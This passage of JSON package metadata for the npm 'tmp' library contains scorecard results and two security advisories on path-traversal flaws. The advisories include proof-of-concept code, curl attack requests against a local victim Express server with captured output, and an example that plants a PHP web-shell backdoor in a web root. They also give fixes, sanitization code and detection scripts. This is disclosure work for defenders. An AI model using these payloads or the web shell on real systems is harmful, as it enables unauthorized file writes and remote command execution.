repo","details":null,"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#binary-artifacts"}},{"name":"CII-Best-Practices","score":0,"reason":"no effort to earn an OpenSSF best practices badge detected","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#cii-best-practices"}},{"name":"Pinned-Dependencies","score":3,"reason":"dependency not pinned by hash detected -- score normalized to 3","details":["Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/node.js.yml:24: update your workflow using https://app.stepsecurity.io/secureworkflow/raszi/node-tmp/node.js.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/node.js.yml:26: update your workflow using https://app.stepsecurity.io/secureworkflow/raszi/node-tmp/node.js.yml/master?enable=pin","Info:   0 out of   2 GitHub-owned GitHubAction dependencies pinned","Info:   1 out of   1 npmCommand dependencies pinned"],"documentation":{"short":"Determines if the project has declared and pinned the dependencies of its build process.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#pinned-dependencies"}},{"name":"Security-Policy","score":0,"reason":"security policy file not detected","details":["Warn: no security policy file detected","Warn: no security file to analyze","Warn: no security file to analyze","Warn: no security file to analyze"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#security-policy"}},{"name":"Fuzzing","score":0,"reason":"project is not fuzzed","details":["Warn: no fuzzer integrations found"],"documentation":{"short":"Determines if the project uses fuzzing.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#fuzzing"}},{"name":"License","score":10,"reason":"license file detected","details":["Info: project has a license file: LICENSE:0","Info: FSF or OSI recognized license: MIT License: LICENSE:0"],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#license"}},{"name":"Signed-Releases","score":-1,"reason":"no releases found","details":null,"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#signed-releases"}},{"name":"Branch-Protection","score":-1,"reason":"internal error: error during branchesHandler.setup: internal error: githubv4.Query: Resource not accessible by integration","details":null,"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#branch-protection"}},{"name":"SAST","score":0,"reason":"SAST tool is not run on all commits -- score normalized to 0","details":["Warn: 0 commits out of 22 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#sast"}},{"name":"Vulnerabilities","score":3,"reason":"7 existing vulnerabilities detected","details":["Warn: Project is vulnerable to: GHSA-v6h2-p8h4-qcjw","Warn: Project is vulnerable to: GHSA-3xgq-45jj-v275","Warn: Project is vulnerable to: GHSA-78xj-cgh5-2h22","Warn: Project is vulnerable to: GHSA-2p57-rm9w-gvfp","Warn: Project is vulnerable to: GHSA-76p7-773f-r4q5","Warn: Project is vulnerable to: GHSA-f5x3-32g6-xq36","Warn: Project is vulnerable to: GHSA-52f5-9888-hmc6"],"documentation":{"short":"Determines if the project has open, known unfixed vulnerabilities.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#vulnerabilities"}}]},"last_synced_at":"2025-08-22T23:49:23.651Z","repository_id":48335217,"created_at":"2025-08-22T23:49:23.651Z","updated_at":"2025-08-22T23:49:23.651Z"},"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":286080680,"owners_count":35527123,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-05-26T15:22:16.424Z","status":"online","status_checked_at":"2026-07-15T02:00:06.706Z","response_time":131,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"},"tags":[]},"repo_metadata_updated_at":"2026-07-17T04:47:31.081Z","dependent_packages_count":7547,"downloads":303459123,"downloads_period":"last-month","dependent_repos_count":992625,"rankings":{"downloads":0.007310413862516031,"dependent_repos_count":0.034252163827743654,"dependent_packages_count":0.012622100339400338,"stargazers_count":2.5951695413659905,"forks_count":3.0717975732711555,"docker_downloads_count":0.015716020813049444,"average":0.9561446355799759},"purl":"pkg:npm/tmp","advisories":[{"uuid":"GSA_kwCzR0hTQS03Yzc4LWpmNnEtZzVjbc4ABYrE","url":"https://github.com/advisories/GHSA-7c78-jf6q-g5cm","title":"tmp: Type-confusion bypass of _assertPath allows path traversal via non-string prefix/postfix/template","description":"### Summary\n\nThe `_assertPath` guard added to `tmp@0.2.6` rejects only string values that contain the substring `..`. It is bypassed when `prefix`, `postfix`, or `template` is supplied as a non-string value (Array, Buffer, or any object) whose `includes('..')` returns falsy but whose stringification still contains `../`. The value flows through `Array.prototype.join`/`String` coercion inside `_generateTmpName` and `path.join(tmpDir, opts.dir, name)`, producing a final path that escapes `tmpdir` and creates a file or directory at an attacker-controlled location with the host process's privileges.\n\nThis affects any application that forwards untrusted request data (a common pattern is JSON body fields or `qs`-parsed bracket-array query strings such as `?prefix[]=...`) into `tmp.file`, `tmp.fileSync`, `tmp.dir`, `tmp.dirSync`, `tmp.tmpName`, or `tmp.tmpNameSync` without explicit type coercion.\n\n### Impact\n\n- Arbitrary file creation outside the intended temporary directory, with the running process's filesystem permissions.\n- Directory creation outside the intended tree (via `tmp.dir{,Sync}`), which can then host a subsequent symlink swap.\n- File content that the application writes to the returned descriptor lands at the attacker's chosen path. In multi-tenant services this crosses tenant boundaries; in CI/build systems it can write into source trees, build outputs, or web roots.\n\nCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L - score 8.1 (High). Network-reachable when the consumer passes request data unchanged.\n\n### Affected versions\n\n`tmp` \u003e= 0.2.6 (the `_assertPath` guard introduced by commit 7ef2728 / merged in efa4a06f). Earlier releases are vulnerable to the plain string form (already published as a separate advisory) plus this bypass.\n\n### Vulnerable code\n\n`lib/tmp.js` at tag `v0.2.6`, commit 41f7159:\n\n```javascript\n// lib/tmp.js:533-539\nfunction _assertPath(path) {\n  if (path.includes(\"..\")) {\n    throw new Error(\"Relative value not allowed\");\n  }\n\n  return path;\n}\n```\n\n```javascript\n// lib/tmp.js:577-580\noptions.prefix = _isUndefined(options.prefix) ? '' : _assertPath(options.prefix);\noptions.postfix = _isUndefined(options.postfix) ? '' : _assertPath(options.postfix);\noptions.template = _isUndefined(options.template) ? undefined : _assertPath(options.template);\n```\n\n```javascript\n// lib/tmp.js:515-525  - opts.prefix and opts.postfix are stringified by Array.prototype.join\nconst name = [\n  opts.prefix ? opts.prefix : 'tmp',\n  '-',\n  process.pid,\n  '-',\n  _randomChars(12),\n  opts.postfix ? '-' + opts.postfix : ''\n].join('');\n\nreturn path.join(tmpDir, opts.dir, name);\n```\n\nRoot cause: `_assertPath` assumes its argument is a string. For an `Array` argument, `Array.prototype.includes('..')` checks element equality (so `['../escape'].includes('..')` is `false`); for an arbitrary object, `Object.prototype.includes` does not exist and a duck-typed `includes: () =\u003e false` defeats the check entirely. In both shapes, the subsequent `[...].join('')` and `path.join(...)` coerce the value to its underlying string, which still contains `../`.\n\n### How untrusted data reaches `_assertPath`\n\nTwo production-realistic shapes that yield a non-string `prefix`/`postfix`/`template`:\n\n1. JSON request bodies. `express.json()` (and any other JSON body parser) preserves the parsed value's type. A body of `{\"prefix\":[\"../escape\"]}` reaches the handler as an Array.\n2. `qs`-style bracket-array query strings. Express 4's default `qs` parser turns `?prefix[]=../escape` into `['../escape']`. The same applies to any framework using `qs` (Fastify, Koa with bodyparser, Hapi via configured parsers, etc.).\n\nThe consumer pattern is the natural one - forward `req.body.prefix` directly into `tmp.file({ prefix, tmpdir })` with no developer-side coercion. The 0.2.6 release notes describe the guard as preventing prefix/postfix traversal, so consumers reasonably believe the guard covers the typical input flow.\n\n### Proof of concept (string vs array)\n\n`poc.js` (run after `npm install tmp@0.2.6`):\n\n```javascript\nconst tmp = require('tmp');\nconst path = require('path');\nconst fs = require('fs');\n\nconst baseDir = fs.mkdtempSync('/tmp/safe-base-');\n\nconsole.log('[negative control] string \"../escape\" - must be blocked');\ntry {\n  const r = tmp.fileSync({ tmpdir: baseDir, prefix: '../escape' });\n  console.log('  UNEXPECTED, file at:', r.name);\n  r.removeCallback();\n} catch (e) {\n  console.log('  BLOCKED as expected:', e.message);\n}\n\nconsole.log('\\n[bypass] array [\"../escape\"] - same effective value, not blocked');\ntry {\n  const r = tmp.fileSync({ tmpdir: baseDir, prefix: ['../escape'] });\n  console.log('  CREATED at:', r.name);\n  console.log('  ESCAPED:', !path.resolve(r.name).startsWith(path.resolve(baseDir)));\n  r.removeCallback();\n} catch (e) {\n  console.log('  BLOCKED:', e.message);\n}\n\nconsole.log('\\n[bypass] duck-typed object {toString, includes} - also not blocked');\ntry {\n  const r = tmp.fileSync({\n    tmpdir: baseDir,\n    prefix: { toString: () =\u003e '../escape', includes: () =\u003e false }\n  });\n  console.log('  CREATED at:', r.name);\n  console.log('  ESCAPED:', !path.resolve(r.name).startsWith(path.resolve(baseDir)));\n  r.removeCallback();\n} catch (e) {\n  console.log('  BLOCKED:', e.message);\n}\n```\n\nObserved output on `tmp@0.2.6`:\n\n```text\n[negative control] string \"../escape\" - must be blocked\n  BLOCKED as expected: Relative value not allowed\n\n[bypass] array [\"../escape\"] - same effective value, not blocked\n  CREATED at: /private/tmp/escape-78856-D3p4mEWyapSn\n  ESCAPED: true\n\n[bypass] duck-typed object {toString, includes} - also not blocked\n  CREATED at: /private/tmp/escape-78856-zP4qXkRm12Lf\n  ESCAPED: true\n```\n\n### End-to-end reproduction (against the deployed npm package)\n\nInstall:\n\n```bash\nmkdir tmp-bypass-poc \u0026\u0026 cd tmp-bypass-poc\nnpm init -y\nnpm install tmp@0.2.6 express@5\n```\n\n`victim-server.js` - realistic Express app that forwards a JSON body field into `tmp.file`:\n\n```javascript\nconst express = require('express');\nconst tmp = require('tmp');\nconst fs = require('fs');\nconst path = require('path');\n\nconst app = express();\napp.use(express.json());\n\nconst TENANT_BASE = fs.mkdtempSync('/tmp/tenant-base-');\nconsole.log('[victim] Tenant base dir:', TENANT_BASE);\n\napp.post('/upload', (req, res) =\u003e {\n  const userPrefix = req.body.prefix;  // attacker-controlled\n  console.log('[victim] received prefix:', JSON.stringify(userPrefix),\n              '(type:', Array.isArray(userPrefix) ? 'array' : typeof userPrefix, ')');\n\n  tmp.file({ tmpdir: TENANT_BASE, prefix: userPrefix }, (err, filepath, fd, cleanup) =\u003e {\n    if (err) {\n      console.log('[victim] tmp error:', err.message);\n      return res.status(400).json({ error: err.message });\n    }\n    fs.writeSync(fd, 'attacker-controlled-content');\n    fs.closeSync(fd);\n    const escaped = !path.resolve(filepath).startsWith(path.resolve(TENANT_BASE));\n    console.log('[victim] file created at:', filepath, 'ESCAPED:', escaped);\n    res.json({ filepath, escaped, tenantBase: TENANT_BASE });\n  });\n});\n\napp.listen(3000, () =\u003e console.log('[victim] http://127.0.0.1:3000'));\n```\n\nRun:\n\n```bash\nnode victim-server.js \u0026\n```\n\nDrive three requests from another shell:\n\n```bash\necho '=== ATTACK 1: string prefix - caught by 0.2.6 ==='\ncurl -s -X POST -H 'Content-Type: application/json' \\\n  -d '{\"prefix\":\"../escape-string\"}' http://127.0.0.1:3000/upload\n\necho\necho '=== ATTACK 2: array prefix - bypasses 0.2.6 ==='\ncurl -s -X POST -H 'Content-Type: application/json' \\\n  -d '{\"prefix\":[\"../escape-array\"]}' http://127.0.0.1:3000/upload\n\necho\necho '=== ATTACK 3: multi-level traversal toward /etc ==='\ncurl -s -X POST -H 'Content-Type: application/json' \\\n  -d '{\"prefix\":[\"../../../etc/poc-tmp-bypass\"]}' http://127.0.0.1:3000/upload\n```\n\nCaptured transcript (verbatim from the test rig):\n\n```text\n=== ATTACK 1: string prefix - caught by 0.2.6 ===\n{\"error\":\"Relative value not allowed\"}\n\n=== ATTACK 2: array prefix - bypasses 0.2.6 ===\n{\"filepath\":\"/private/tmp/escape-array-79635-gEFyGCBNFSTh\",\"escaped\":true,\"tenantBase\":\"/tmp/tenant-base-3XHwPZ\"}\n\n=== ATTACK 3: multi-level traversal toward /etc ===\n{\"error\":\"EACCES: permission denied, open '/etc/poc-tmp-bypass-79635-PEIABptX8JGH'\"}\n```\n\nServer log:\n\n```text\n[victim] Tenant base dir: /tmp/tenant-base-3XHwPZ\n[victim] received prefix: \"../escape-string\" (type: string )\n[victim] tmp error: Relative value not allowed\n[victim] received prefix: [\"../escape-array\"] (type: array )\n[victim] file created at: /private/tmp/escape-array-79635-gEFyGCBNFSTh ESCAPED: true\n[victim] received prefix: [\"../../../etc/poc-tmp-bypass\"] (type: array )\n[victim] tmp error: EACCES: permission denied, open '/etc/poc-tmp-bypass-79635-PEIABptX8JGH'\n```\n\nObservations:\n\n- ATTACK 1 (string `../escape-string`) is rejected at `_assertPath`. The 0.2.6 guard works for plain strings.\n- ATTACK 2 (array `[\"../escape-array\"]`) passes the guard and creates a file at `/private/tmp/escape-array-...`, outside the tenant base `/tmp/tenant-base-3XHwPZ`. The file content is `attacker-controlled-content`. Confirmed with `ls`:\n\n```bash\n$ ls -la /tmp/escape-array-*\n-rw-------@ 1 rick  wheel  27 May 27 20:25 /tmp/escape-array-79635-gEFyGCBNFSTh\n$ cat /tmp/escape-array-*\nattacker-controlled-content\n$ ls -la /tmp/tenant-base-3XHwPZ/\ntotal 0\ndrwx------ 2 rick  wheel   64 May 27 20:25 .\n```\n\n  Tenant base is empty. The escape is complete.\n\n- ATTACK 3 (array `[\"../../../etc/poc-tmp-bypass\"]`) reaches `fs.open` for `/etc/poc-tmp-bypass-...`. The open fails only because of POSIX permissions, not because tmp blocked the path. On a process running as root, or against any world-writable target directory, this would succeed.\n\n### Negative control with patched build\n\nApplying the suggested fix below and re-running ATTACK 2:\n\n```text\n=== ATTACK 2: array prefix - after fix ===\n{\"error\":\"prefix option must be a string, got \\\"object\\\".\"}\n```\n\nThe patched build rejects non-string `prefix`/`postfix`/`template` with a clear type error before the path is constructed.\n\n### Suggested fix\n\nPatch `_assertPath` to require a string argument. The check `value.includes('..')` is sound only over strings; any non-string with a custom or array-element `includes` semantics bypasses it.\n\n```diff\n--- a/lib/tmp.js\n+++ b/lib/tmp.js\n@@ -528,11 +528,14 @@ function _generateTmpName(opts) {\n /**\n- * Check the prefix and postfix options\n+ * Check the prefix, postfix, and template options\n  *\n  * @private\n  */\n-function _assertPath(path) {\n-  if (path.includes(\"..\")) {\n+function _assertPath(option, value) {\n+  if (typeof value !== 'string') {\n+    throw new Error(`${option} option must be a string, got \"${typeof value}\".`);\n+  }\n+  if (value.includes(\"..\")) {\n     throw new Error(\"Relative value not allowed\");\n   }\n\n-  return path;\n+  return value;\n }\n@@ -575,9 +578,9 @@ function _assertOptionsBase(options) {\n   options.unsafeCleanup = !!options.unsafeCleanup;\n\n   // for completeness' sake only, also keep (multiple) blanks if the user, purportedly sane, requests us to\n-  options.prefix = _isUndefined(options.prefix) ? '' : _assertPath(options.prefix);\n-  options.postfix = _isUndefined(options.postfix) ? '' : _assertPath(options.postfix);\n-  options.template = _isUndefined(options.template) ? undefined : _assertPath(options.template);\n+  options.prefix = _isUndefined(options.prefix) ? '' : _assertPath('prefix', options.prefix);\n+  options.postfix = _isUndefined(options.postfix) ? '' : _assertPath('postfix', options.postfix);\n+  options.template = _isUndefined(options.template) ? undefined : _assertPath('template', options.template);\n }\n```\n\nDefence-in-depth, recommended in addition to the type check: validate the final resolved path against `tmpdir` after `_generateTmpName`, similar to what `_getRelativePath` already does for `dir` and `template`. That way any future bypass through a different vector (e.g., a future Node `path` change, or a different option) does not exit `tmpdir`.\n\n### Fix PR\n\nhttps://github.com/raszi/node-tmp-ghsa-7c78-jf6q-g5cm/pull/1\n\n### Credit\n\nReported by tonghuaroot.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-06-15T16:36:46.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.2,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L","references":["https://github.com/raszi/node-tmp/security/advisories/GHSA-7c78-jf6q-g5cm","https://nvd.nist.gov/vuln/detail/CVE-2026-49982","https://github.com/advisories/GHSA-7c78-jf6q-g5cm"],"source_kind":"github","identifiers":["GHSA-7c78-jf6q-g5cm","CVE-2026-49982"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-06-15T17:00:08.655Z","updated_at":"2026-06-24T03:00:23.728Z","epss_percentage":0.00496,"epss_percentile":0.38587,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS03Yzc4LWpmNnEtZzVjbc4ABYrE","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS03Yzc4LWpmNnEtZzVjbc4ABYrE","packages":[{"ecosystem":"npm","package_name":"tmp","versions":[{"first_patched_version":"0.2.7","vulnerable_version_range":"\u003e= 0.2.6, \u003c 0.2.7"}],"purl":"pkg:npm/tmp"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS03Yzc4LWpmNnEtZzVjbc4ABYrE/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1waDlwLTM0ZjktNmc2Nc4ABXbc","url":"https://github.com/advisories/GHSA-ph9p-34f9-6g65","title":"tmp has Path Traversal via unsanitized prefix/postfix that enables directory escape","description":"### Summary\n\nThe tmp npm package contains a path traversal vulnerability that allows escaping the intended temporary directory when untrusted data flows into the `prefix`, `postfix`, or `dir` options. By embedding traversal sequences (e.g., `../`) or path separators in these parameters, attackers can cause files to be created outside the configured temporary base directory at attacker-controlled locations with the privileges of the running process. This vulnerability affects applications that pass user-controlled data to tmp's file/directory creation functions without proper input sanitization.\n\n### Details\n\n**Root Cause:**\nThe vulnerability exists in tmp's path construction logic where user-supplied options are directly concatenated into file paths without sanitization or validation.\n\n**Technical Flow:**\n1. **Filename Construction:** tmp builds filenames as `\u003cprefix\u003e-\u003cpid\u003e-\u003crandom\u003e-\u003cpostfix\u003e`\n2. **Path Composition:** Final path computed as `path.join(tmpDir, opts.dir, name)`\n3. **Path Normalization:** Node.js `path.join()` normalizes traversal sequences, allowing escape\n4. **File Creation:** File created at the resulting (potentially escaped) path\n\n**Vulnerable Pattern:**\n```javascript\n// In tmp package internals\nconst name = `${opts.prefix || ''}-${process.pid}-${randomString}-${opts.postfix || ''}`;\nconst finalPath = path.join(tmpDir, opts.dir || '', name);\n// No validation that finalPath remains within tmpDir\n```\n\n**Path Traversal Mechanics:**\n- **prefix/postfix traversal:** `../../../evil` in prefix escapes directory structure\n- **Absolute path bypass:** If `opts.dir` is absolute, `path.join()` ignores `tmpDir` completely\n- **Normalization exploitation:** `path.join()` resolves `../` sequences regardless of surrounding text\n- **Cross-platform impact:** Works on Windows (`..\\\\`), Unix (`../`), and mixed path systems\n\n**Key Vulnerability Points:**\n- No input validation on `prefix`, `postfix`, or `dir` parameters\n- Direct use of user input in path construction\n- Reliance on `path.join()` normalization without containment checks\n- Missing post-construction validation that final path remains within intended directory\n\n### PoC\n\n**Basic Path Traversal via prefix:**\n```javascript\nconst tmp = require('tmp');\nconst path = require('path');\nconst fs = require('fs');\n\n// Create a controlled base directory\nconst baseDir = fs.mkdtempSync('/tmp/safe-base-');\nconsole.log('Base directory:', baseDir);\n\n// Escape via prefix\ntmp.file({ \n  tmpdir: baseDir, \n  prefix: '../escaped' \n}, (err, filepath, fd, cleanup) =\u003e {\n  if (err) throw err;\n  \n  console.log('Created file:', filepath);\n  console.log('Relative to base:', path.relative(baseDir, filepath));\n  // Output shows: ../escaped-\u003cpid\u003e-\u003crandom\u003e\n  \n  cleanup();\n});\n```\n\n**Directory Escape via postfix:**\n```javascript\ntmp.file({ \n  tmpdir: baseDir, \n  postfix: '/../../pwned.txt' \n}, (err, filepath, fd, cleanup) =\u003e {\n  if (err) throw err;\n  \n  console.log('Escaped file:', filepath);\n  console.log('Escaped outside base:', !filepath.startsWith(baseDir));\n  \n  cleanup();\n});\n```\n\n**Absolute Path Bypass via dir:**\n```javascript\ntmp.file({ \n  tmpdir: '/safe/tmp/dir', \n  dir: '/tmp/evil-location',\n  prefix: 'bypassed'\n}, (err, filepath, fd, cleanup) =\u003e {\n  if (err) throw err;\n  \n  console.log('Bypassed to:', filepath);\n  // File created in /tmp/evil-location instead of /safe/tmp/dir\n  \n  cleanup();\n});\n```\n\n**Advanced Multi-Vector Attack:**\n```javascript\nconst maliciousOpts = {\n  tmpdir: '/app/safe-tmp',\n  dir: '../../../tmp',           // Escape base\n  prefix: '../sensitive-area/',   // Further traversal\n  postfix: 'malicious.config'     // Controlled filename\n};\n\ntmp.file(maliciousOpts, (err, filepath, fd, cleanup) =\u003e {\n  // Results in file creation at: /tmp/sensitive-area/malicious.config\n  console.log('Final malicious path:', filepath);\n  cleanup();\n});\n```\n\n**Real-World Attack Simulation:**\n```javascript\n// Simulate web API that accepts user file prefix\nfunction createUserTempFile(userPrefix, content) {\n  return new Promise((resolve, reject) =\u003e {\n    tmp.file({ prefix: userPrefix }, (err, path, fd, cleanup) =\u003e {\n      if (err) return reject(err);\n      \n      fs.writeSync(fd, content);\n      console.log('User file created at:', path);\n      resolve({ path, cleanup });\n    });\n  });\n}\n\n// Attacker input\nconst attackerPrefix = '../../../var/www/html/backdoor';\ncreateUserTempFile(attackerPrefix, '\u003c?php system($_GET[\"cmd\"]); ?\u003e');\n// Creates PHP backdoor in web root instead of temp directory\n```\n\n### Impact\n\n**Arbitrary File Creation:**\n- Files created outside intended temporary directories\n- Attacker control over file placement location\n- Potential to overwrite existing files (depending on creation flags)\n- Cross-platform exploitation capability\n\n**Attack Scenarios:**\n\n**1. Web Application Configuration Poisoning:**\n- User uploads file with malicious prefix/postfix\n- tmp creates \"temporary\" file in application configuration directory\n- Malicious configuration loaded on next application restart\n\n**2. Cache Poisoning:**\n- Application caches user content using tmp\n- Attacker escapes to cache directory of different user/tenant\n- Poisoned cache serves malicious content to other users\n\n**3. Build Pipeline Compromise:**\n- CI/CD system processes user PRs with tmp usage\n- Malicious prefix escapes to build output directories\n- Compromised build artifacts deployed to production\n\n**4. Container Escape Attempt:**\n- Containerized application uses tmp with user input\n- Attacker attempts to escape container temp restrictions\n- Files created in host-mapped volumes or sensitive container areas\n\n**5. Multi-Tenant Service Bypass:**\n- SaaS platform isolates tenants using separate tmp directories\n- Tenant A escapes their tmp space to tenant B's area\n- Cross-tenant data access and potential privilege escalation\n\n**Business Impact:**\n- **Data Integrity:** Unauthorized file placement can corrupt application state\n- **Service Disruption:** Files in wrong locations may break application functionality  \n- **Security Bypass:** Escape temporary isolation boundaries\n- **Compliance Violations:** Files containing sensitive data placed in uncontrolled locations\n\n### Affected Products\n\n- **Ecosystem:** npm\n- **Package name:** tmp\n- **Repository:** github.com/raszi/node-tmp\n- **Affected versions:** All versions with vulnerable path construction logic\n- **Patched versions:** None currently available\n\n**Component Impact:**\n- `tmp.file()` function - vulnerable to prefix/postfix/dir traversal\n- `tmp.dir()` function - vulnerable to same parameter manipulation  \n- `tmp.tmpName()` function - if using affected path construction\n\n**Severity:** High  \n**CVSS v3.1:** 8.1 (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L)\n\n**CWE Classification:**\n- CWE-22: Improper Limitation of a Pathname to a Restricted Directory (Path Traversal)\n\n### Remediation\n\n**Input Validation and Sanitization:**\n\n1. **Sanitize prefix/postfix:**\n```javascript\nfunction sanitizePrefix(prefix) {\n  if (!prefix) return '';\n  // Remove path separators and traversal sequences\n  return path.basename(String(prefix)).replace(/[\\.\\/\\\\]/g, '-');\n}\n\nfunction sanitizePostfix(postfix) {\n  if (!postfix) return '';\n  // Allow only safe characters\n  return String(postfix).replace(/[^A-Za-z0-9._-]/g, '');\n}\n```\n\n2. **Validate dir parameter:**\n```javascript\nfunction validateDir(dir, baseDir) {\n  if (!dir) return '';\n  \n  // Reject absolute paths\n  if (path.isAbsolute(dir)) {\n    throw new Error('Absolute paths not allowed for dir option');\n  }\n  \n  // Resolve and check containment\n  const resolved = path.resolve(baseDir, dir);\n  const relative = path.relative(baseDir, resolved);\n  \n  if (relative.startsWith('..') || path.isAbsolute(relative)) {\n    throw new Error('Dir option escapes base directory');\n  }\n  \n  return dir;\n}\n```\n\n3. **Post-construction path validation:**\n```javascript\nfunction validateFinalPath(finalPath, baseDir) {\n  const resolved = path.resolve(finalPath);\n  const relative = path.relative(path.resolve(baseDir), resolved);\n  \n  if (relative.startsWith('..') || path.isAbsolute(relative)) {\n    throw new Error('Generated path escapes temporary directory');\n  }\n  \n  return resolved;\n}\n```\n\n**Secure Implementation Pattern:**\n```javascript\nfunction createTempFile(options) {\n  const opts = { ...options };\n  \n  // Sanitize inputs\n  opts.prefix = sanitizePrefix(opts.prefix);\n  opts.postfix = sanitizePostfix(opts.postfix);\n  opts.dir = validateDir(opts.dir, opts.tmpdir);\n  \n  // Create with sanitized options\n  return tmp.file(opts, (err, path, fd, cleanup) =\u003e {\n    if (err) return callback(err);\n    \n    // Validate final path\n    try {\n      validateFinalPath(path, opts.tmpdir);\n    } catch (validationErr) {\n      cleanup();\n      return callback(validationErr);\n    }\n    \n    callback(null, path, fd, cleanup);\n  });\n}\n```\n\n### Workarounds\n\n**For Application Developers:**\n\n1. **Input Sanitization:**\n```javascript\n// Sanitize before passing to tmp\nfunction safeTmpFile(userOptions) {\n  const safeOpts = {\n    ...userOptions,\n    prefix: userOptions.prefix ? path.basename(userOptions.prefix) : undefined,\n    postfix: userOptions.postfix ? userOptions.postfix.replace(/[^A-Za-z0-9._-]/g, '') : undefined,\n    dir: undefined // Don't allow user-controlled dir\n  };\n  \n  return tmp.file(safeOpts);\n}\n```\n\n2. **Path Validation:**\n```javascript\nfunction validateTmpPath(tmpPath, expectedBase) {\n  const relativePath = path.relative(expectedBase, tmpPath);\n  if (relativePath.startsWith('..') || path.isAbsolute(relativePath)) {\n    throw new Error('Temporary file path escaped base directory');\n  }\n  return tmpPath;\n}\n```\n\n3. **Restricted Usage:**\n```javascript\n// Only use tmp with known-safe, literal values\ntmp.file({ prefix: 'app-temp-', postfix: '.tmp' }, callback);\n// Never: tmp.file({ prefix: userInput }, callback);\n```\n\n**For Security Teams:**\n\n1. **Code Review Patterns:**\n```bash\n# Search for dangerous tmp usage\ngrep -r \"tmp\\.file.*prefix.*req\\|tmp\\.file.*postfix.*req\" .\ngrep -r \"tmp\\.dir.*opts\\|tmp\\.file.*opts\" .\n```\n\n2. **Runtime Monitoring:**\n```javascript\n// Monitor for files created outside expected temp areas\nconst originalFile = tmp.file;\ntmp.file = function(options, callback) {\n  return originalFile(options, (err, path, fd, cleanup) =\u003e {\n    if (!err \u0026\u0026 options.tmpdir) {\n      const relative = require('path').relative(options.tmpdir, path);\n      if (relative.startsWith('..')) {\n        console.warn('Path traversal detected:', path);\n      }\n    }\n    return callback(err, path, fd, cleanup);\n  });\n};\n```\n\n### Detection and Monitoring\n\n**Static Analysis:**\n- Scan for tmp usage with user-controlled input\n- Identify unsanitized parameter passing to tmp functions\n- Review file creation patterns in temporary directories\n\n**Runtime Detection:**\n```javascript\n// Log suspicious tmp operations\nfunction monitorTmpUsage() {\n  const originalTmpFile = require('tmp').file;\n  \n  require('tmp').file = function(options = {}, callback) {\n    // Check for suspicious patterns\n    const suspicious = [\n      options.prefix \u0026\u0026 options.prefix.includes('..'),\n      options.postfix \u0026\u0026 options.postfix.includes('..'),  \n      options.dir \u0026\u0026 path.isAbsolute(options.dir)\n    ].some(Boolean);\n    \n    if (suspicious) {\n      console.warn('Suspicious tmp usage detected:', options);\n    }\n    \n    return originalTmpFile.call(this, options, callback);\n  };\n}\n```\n\n**File System Monitoring:**\n```bash\n# Monitor file creation outside expected temp directories\ninotifywait -m -r --format '%w%f %e' /tmp /var/tmp | while read file event; do\n  if [[ \"$event\" == *\"CREATE\"* \u0026\u0026 \"$file\" != /tmp/tmp-* ]]; then\n    echo \"Unexpected file creation: $file\"\n  fi\ndone\n```\n### Acknowledgements\n\n**Reported by**: Mapta / 